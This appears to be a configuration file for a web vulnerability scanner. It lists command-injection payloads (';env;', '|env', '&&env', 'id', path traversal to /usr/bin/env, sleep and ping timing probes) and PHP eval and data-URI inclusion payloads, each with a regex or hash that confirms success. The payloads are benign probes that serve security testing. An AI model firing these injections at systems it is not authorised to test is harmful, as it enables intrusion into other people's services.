[DEFAULT]
payload = None
; rules will be used as a boolean OR if there are multiple
rules = None
description = None
status = vulnerability
type = pattern

[no_escape]
payload = id
rules = regex:uid=[0-9]+\([a-zA-Z0-9_-]+\)\s+gid=[0-9]+\([a-zA-Z0-9_-]+\)(\s+groups=[0-9]+\([a-zA-Z0-9_-]+\)(,[0-9]+\([a-zA-Z0-9_-]+\))*)?(\s+context=\S+)?
description = Command execution
status = vulnerability

[no_escape_owasp_benchmark]
payload = id
rules = regex:uid&#x3d;[0-9]+\([a-zA-Z0-9_-]+\)\s+gid&#x3d;[0-9]+\([a-zA-Z0-9_-]+\)(\s+groups&#x3d;[0-9]+\([a-zA-Z0-9_-]+\)(,[0-9]+\([a-zA-Z0-9_-]+\))*)?(\s+context&#x3d;\S+)?
description = Command execution
status = vulnerability

[semicolon_escape]
payload = ;env;
rules = regex:(?s)(?=.*PATH=[^=]*)(?=.*PWD=[^=]*)(?=.*(HOME|HOSTNAME)=[^=]*)
description = Command execution
status = vulnerability

[semicolon_escape_owasp_benchmark]
payload = ;env;
rules = regex:(?s)(?=.*PATH&#x3d;)(?=.*PWD&#x3d;)(?=.*HOME&#x3d;)
description = Command execution
status = vulnerability

[pipe_escape]
payload = |env
rules = regex:(?s)(?=.*PATH=[^=]*)(?=.*PWD=[^=]*)(?=.*(HOME|HOSTNAME)=[^=]*)
description = Command execution
status = vulnerability

[double_ampersand_escape]
payload = &&env
rules = regex:(?s)(?=.*PATH=[^=]*)(?=.*PWD=[^=]*)(?=.*(HOME|HOSTNAME)=[^=]*)
description = Command execution
status = vulnerability

[pipe_escape_known_prefix]
payload = [VALUE]|env
rules = regex:(?s)(?=.*PATH=[^=]*)(?=.*PWD=[^=]*)(?=.*(HOME|HOSTNAME)=[^=]*)
description = Command execution
status = vulnerability

[pipe_escape_known_prefix_owasp_benchmark]
payload = [VALUE]|env
rules = regex:(?s)(?=.*PATH&#x3d;)(?=.*PWD&#x3d;)(?=.*HOME&#x3d;)
description = Command execution
status = vulnerability

[semicolon_escape_prefix]
payload = a;env;
rules = regex:(?s)(?=.*PATH=[^=]*)(?=.*PWD=[^=]*)(?=.*(HOME|HOSTNAME)=[^=]*)
description = Command execution
status = vulnerability

[semicolon_escape_prefix_and_parenthesis]
payload = a;env;
rules = regex:(?s)(?=.*PATH=[^=]*)(?=.*PWD=[^=]*)(?=.*(HOME|HOSTNAME)=[^=]*)
description = Command execution
status = vulnerability

[dir_up_perl_exec]
payload = ../../../../../../../../../../../../../../../usr/bin/env|
rules = regex:(?s)(?=.*PATH=[^=]*)(?=.*PWD=[^=]*)(?=.*(HOME|HOSTNAME)=[^=]*)
description = Command execution
status = vulnerability

[semicolon_escape_known_prefix]
payload = [VALUE];env;
rules = regex:(?s)(?=.*PATH=[^=]*)(?=.*PWD=[^=]*)(?=.*(HOME|HOSTNAME)=[^=]*)
description = Command execution
status = vulnerability

[new_line_escape]
payload = [VALUE][LF]env;
rules = regex:(?s)(?=.*PATH=[^=]*)(?=.*PWD=[^=]*)(?=.*(HOME|HOSTNAME)=[^=]*)
description = Command execution
status = vulnerability

[ampersand_escape]
payload = &set&
rules = regex:(?s)(?=.*PATH=[^=]*)(?=.*PWD=[^=]*)(?=.*(HOME|HOSTNAME)=[^=]*)
description = Command execution
status = vulnerability

[simple_set_execution]
payload = set
rules = regex:(?s)(?=.*PATH=[^=]*)(?=.*PWD=[^=]*)(?=.*(HOME|HOSTNAME)=[^=]*)
description = Command execution
status = vulnerability

[simple_env_execution]
payload = env
rules = regex:(?s)(?=.*PATH=[^=]*)(?=.*PWD=[^=]*)(?=.*(HOME|HOSTNAME)=[^=]*)
description = Command execution
status = vulnerability

[php_eval_letter_prefix_1]
payload = a;exit(md5('w4p1t1_md5'));//
rules = 1d97830e30da7214d3e121859cfa695f
description = PHP evaluation
status = vulnerability

[php_eval_letter_prefix_2]
payload = a;exit(md5('w4p1t1_md5'));#
rules = 1d97830e30da7214d3e121859cfa695f
description = PHP evaluation
status = vulnerability

[php_eval_double_quote_semicolon_1]
payload = ";exit(md5('w4p1t1_md5'));//
rules = 1d97830e30da7214d3e121859cfa695f
description = PHP evaluation
status = vulnerability

[php_eval_double_quote_semicolon_2]
payload = ";exit(md5('w4p1t1_md5'));#
rules = 1d97830e30da7214d3e121859cfa695f
description = PHP evaluation
status = vulnerability

[php_eval_single_quote_semicolon_1]
payload = ';exit(md5('w4p1t1_md5'));//
rules = 1d97830e30da7214d3e121859cfa695f
description = PHP evaluation
status = vulnerability

[php_eval_single_quote_semicolon_2]
payload = ';exit(md5('w4p1t1_md5'));#
rules = 1d97830e30da7214d3e121859cfa695f
description = PHP evaluation
status = vulnerability

[php_eval_double_quote_dot_1]
payload = ".exit(md5('w4p1t1_md5'));//
rules = 1d97830e30da7214d3e121859cfa695f
description = PHP evaluation
status = vulnerability

[php_eval_double_quote_dot_2]
payload = ".exit(md5('w4p1t1_md5'));#
rules = 1d97830e30da7214d3e121859cfa695f
description = PHP evaluation
status = vulnerability

[php_eval_single_quote_dot_1]
payload = '.exit(md5('w4p1t1_md5'));//
rules = 1d97830e30da7214d3e121859cfa695f
description = PHP evaluation
status = vulnerability

[php_eval_single_quote_dot_2]
payload = '.exit(md5('w4p1t1_md5'));#
rules = 1d97830e30da7214d3e121859cfa695f
description = PHP evaluation
status = vulnerability

[php_eval_semicolon_1]
payload = ;exit(md5('w4p1t1_md5'));//
rules = 1d97830e30da7214d3e121859cfa695f
description = PHP evaluation
status = vulnerability

[php_eval_semicolon_2]
payload = ;exit(md5('w4p1t1_md5'));#
rules = 1d97830e30da7214d3e121859cfa695f
description = PHP evaluation
status = vulnerability

[data_scheme_inclusion]
payload = data:;base64,PD9waHAgZWNobyAndzRwMXQxJywnX2V2YWwnOyA/Pg==
rules = w4p1t1_eval
description = PHP evaluation
status = vulnerability

[backticks_syntax]
payload = a`)`
rules = nosuchmatchingule
description = PHP evaluation
status = vulnerability

[timeout_backticks]
payload = a`sleep 60`
description = Command execution
type = time

[timeout_semicolon]
payload = a;sleep 60;
description = Command execution
type = time

[timeout_pipe]
payload = a|sleep 60;
description = Command execution
type = time

[timeout_ping]
payload = &ping -n 25 127.0.0.1&
description = Command execution
type = time